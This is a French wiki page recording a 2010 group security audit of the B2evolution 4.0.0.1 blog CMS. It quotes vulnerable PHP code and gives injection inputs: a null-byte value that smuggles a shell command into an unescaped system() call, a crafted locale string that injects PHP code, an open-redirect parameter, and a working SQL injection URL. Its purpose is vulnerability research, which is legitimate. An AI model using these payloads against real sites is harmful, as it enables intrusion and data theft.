Outils d'utilisateurs

Outils du Site


zenk_roulettes:zenk_roulette_6

Zenk Roulette 6 : B2evolution

Date : Mercredi 24 novembre 2010 de 19h à 00h00.

Application auditée : B2evolution Beta 4.0.0.1 http://b2evolution.net/

Description : CMS pour multi blogs

Pad : http://piratepad.net/S3wvHmgcFH


Défauts de sécurité :


Fichier : gettext/xg.php

Ligne : 113

elseif( isset($argv[2]) && strtoupper($argv[2]) == 'MERGE' )
{
    $action = 'merge';
    if( ! isset($argv[3]) ) // the to-get-merged locale
    {
         echo_usage();
         exit(1);
    }
    $locales_to_merge = array_slice( $argv, 3 );
}

Ligne : 254

if( $action == 'merge' )
{ // Merge with existing .po files:
     if( ! @is_readable( $file_pot ) )
     {
          echo "FATAL: $file_pot is not readable!\n";
          exit(1);
     }
     foreach( $locales_to_merge as $l_locale )
     {
          $l_file_po = $dir_root.'locales/'.$l_locale.'/LC_MESSAGES/messages.po';
          echo 'Merging with '.$l_locale.'.. ';
          if( ! file_exists( $l_file_po ) )
          {
               echo "PO file $l_file_po not found!\n";
               continue;
          }
          system( 'msgmerge -U -F --no-wrap '.escapeshellarg($l_file_po).' '.escapeshellarg($file_pot) );
          # delete old TRANS comments and make automatic ones valid comments:
          system( 'sed -i -r "/^#\\s+TRANS:/d; s/^#\\. TRANS:/# TRANS:/;" '.$l_file_po );
          echo "Written $l_file_po .\n";
          echo "\n";
     }
     exit(0);
}

Exécution possible de commande : Si $l_file_po = “\00 && commande #” marche uniquement sous windows pour le null-byte poisoning. Car file_exists( $dir_root.'locales/' ) renvoi true et system( 'sed -i -r ”/^#\\s+TRANS:/d; s/^#\\. TRANS:/# TRANS:/;” '.$l_file_po ); oublie de escapeshellarg.

Ligne : 291

$l_file_po = $dir_root.'locales/'.$l_locale.'/LC_MESSAGES/messages.po';
$global_file_path = $dir_root.'locales/'.$l_locale.'/_global.php';

Ligne : 304

$r = $POFile->write_evo_trans($global_file_path, $l_locale);

Fichier : blogs/inc/locales

Ligne : 223

function write_evo_trans($file_path, $locale)

Ligne : 241

fwrite( $fp, '$trans[\''.$locale."'] = array(\n" );

Si $l_locale = ”../blogs/index.php\0'] = array(); code_php/*”

Normalement, ca passe les file_exists. A voir si cela passe le $trans[\.$locale.”'] toujours sous windows. Ligne : 52 <file PHP> param( 'redirect_to', 'string', ); </file>

La fonction param() prend en argument des variable $_GET comme $_POST. Il est possible d'agir sur la variable $redirect_to depuis l'url : register.php?redirect_to=[fake_url] et de redirigé le nouveau membre vers une page qui n'a rien à voir avec celle du site de base. Pas pris le temps de chercher dans le fichier les lignes vulnérable au niveau de la non verification de l'url.

Cotés admin :

Fichier : htsrv/async.php:

Ligne : 142

http://localhost/b2evolution/blogs/htsrv/async.php?action=get_login_list&q=admin'%20union%20select%20user()%20--%20a#

SQL Injection

Fichier : _commentquery.class.php:

Ligne : 270

$this->WHERE_and( $this->dbprefix.'author_url '.$url_match.' ("'.$author_url.'")'.$include_empty );

* PHP_INFO non enlevé à l'install

Pour le compte rendu… Malheuresement pas tres concluant :dodgy: Mais on peut pas gagner a tous les coups ! En tout cas merci au personne presente : K1wy, Essandre et Tishrom.

zenk_roulettes/zenk_roulette_6.txt · Dernière modification: 2017/04/09 15:33 (modification externe)